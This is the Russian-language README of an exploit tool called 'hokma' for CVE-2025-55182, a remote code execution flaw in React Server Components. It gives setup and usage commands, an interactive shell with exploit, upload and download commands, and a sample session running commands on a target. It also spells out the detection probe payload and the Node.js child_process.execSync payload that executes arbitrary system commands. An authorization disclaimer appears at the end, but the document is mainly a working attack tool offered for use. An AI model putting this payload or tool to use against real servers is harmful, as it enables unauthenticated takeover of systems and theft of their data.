CVE-2025-55182-shellinteractive

Основа взята из: https://github.com/Emiyelbarto/CVE-2025-55182-PoC Огромное спасибо за отличный вклад.

Обзор

CVE-2025-55182 — это уязвимость десериализации в Next.js/React Server Components, которая позволяет неаутентифицированным удалённым злоумышленникам выполнять произвольный код на затронутых серверах. Уязвимость возникает из-за некорректной обработки сериализованных данных в React Server Actions.

Ключевые особенности:

• ✅ Интерактивная оболочка с историей команд и автодополнением
• ✅ Автоматическое обнаружение уязвимости
• ✅ Удалённое выполнение команд
• ✅ Возможность загрузки и скачивания файлов
• ✅ Встроенный набор тестов
• ✅ Настраиваемые параметры цели

Установка

Предварительные требования

• Python 3.8 или выше
• библиотека requests

Быстрая настройка

# Clone the repository
git clone https://github.com/yourusername/hokma.git
cd hokma

# Install dependencies
pip install requests

# Make script executable (optional)
chmod +x hokma.py

Использование

Базовое использование

# Start interactive shell
python hokma.py

# Check vulnerability only
python hokma.py -u http://target.com --check

# Execute single command
python hokma.py -u http://target.com -c "whoami"

Команды интерактивной оболочки

help                    Show this help message
set URL <url>          Set target URL
set ID <action_id>     Set action ID (default: user-profile-action)
show                   Show current options
check [url]            Check if target is vulnerable
exploit <command>      Execute command on target
shell                  Start interactive command shell
test                   Run test commands (id, whoami, etc.)
upload <loc> <rem>     Upload local file to target
download <rem> <loc>   Download remote file (base64 encoded)
clear                  Clear screen
exit/quit              Exit the shell

Пример сеанса

$ python hokma.py

  ____                 _     ____  _          _ _ 
 |  _ \ ___  __ _  ___| |_  / ___|| |__   ___| | |
 | |_) / _ \/ _` |/ __| __| \___ \| '_ \ / _ \ | |
 |  _ <  __/ (_| | (__| |_   ___) | | | |  __/ | |
 |_| \_\___|\__,_|\___|\__| |____/|_| |_|\___|_|_|
                                                  
 React Server Components RCE Exploit (CVE-2025-55182)
Interactive Shell - Type 'help' for commands

hokma> set URL http://vulnerable-app.com
[+] URL set to: http://vulnerable-app.com

hokma> check
[*] Checking vulnerability on target: http://vulnerable-app.com...
[+] TARGET IS VULNERABLE!

hokma> exploit whoami
[*] Executing command: whoami
[*] Server responded with status: 200

--- COMMAND OUTPUT ---
www-data
----------------------

hokma> shell
[*] Starting reverse shell. Use 'exit' to return.
[*] Enter commands to execute on target:
cmd> pwd
[*] Executing command: pwd

--- COMMAND OUTPUT ---
/var/www/html
----------------------
cmd> exit

Параметры конфигурации

Технические подробности

Обнаружение уязвимости

Инструмент отправляет специально сформированный multipart-запрос, который вызывает сбой в уязвимых системах:

• Использует полезную нагрузку: ["$1:a:a"] с пустым объектом {}
• Обнаруживает уязвимость по HTTP-ответам 500 или определённым шаблонам ошибок

Механизм эксплуатации

1. Формирование JavaScript-полезной нагрузки: создаёт Node.js-скрипт с использованием конструктора Function
2. Выполнение дочернего процесса: использует child_process.execSync() для выполнения системных команд
3. Извлечение ответа: перехватывает и отображает вывод команд

Структура полезной нагрузки

const cmd = "COMMAND";
return import('child_process').then(cp => {
    try {
        const output = cp.execSync(cmd).toString();
        return output;
    } catch(e) { 
        return "Command Execution Failed: " + e.message; 
    }
});

Этичное использование и отказ от ответственности

ВАЖНОЕ ПРАВОВОЕ УВЕДОМЛЕНИЕ

Этот инструмент предназначен для:

• Авторизованного тестирования безопасности
• Образовательных целей
• Исследования уязвимостей при наличии соответствующего согласия

НЕ ИСПОЛЬЗУЙТЕ этот инструмент против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Несанкционированный доступ к компьютерным системам незаконен и неэтичен.

Разработчики не несут ответственности за любое неправомерное использование этого инструмента. Пользователи обязаны соблюдать все применимые законы и получать надлежащее разрешение перед тестированием.

Известные ограничения

1. Требования к цели:

   • Сервер Node.js с React Server Components
   • Уязвимый к CVE-2025-55182
   • Наличие модуля дочернего процесса

2. Ограничения обнаружения:

   • Возможны ложные срабатывания/пропуски
   • Зависит от конкретных ответов об ошибках

3. Ограничения эксплуатации:

   • Команды выполняются с привилегиями серверного процесса
   • Вывод может быть усечён в некоторых случаях
   • Сложные команды могут требовать специального экранирования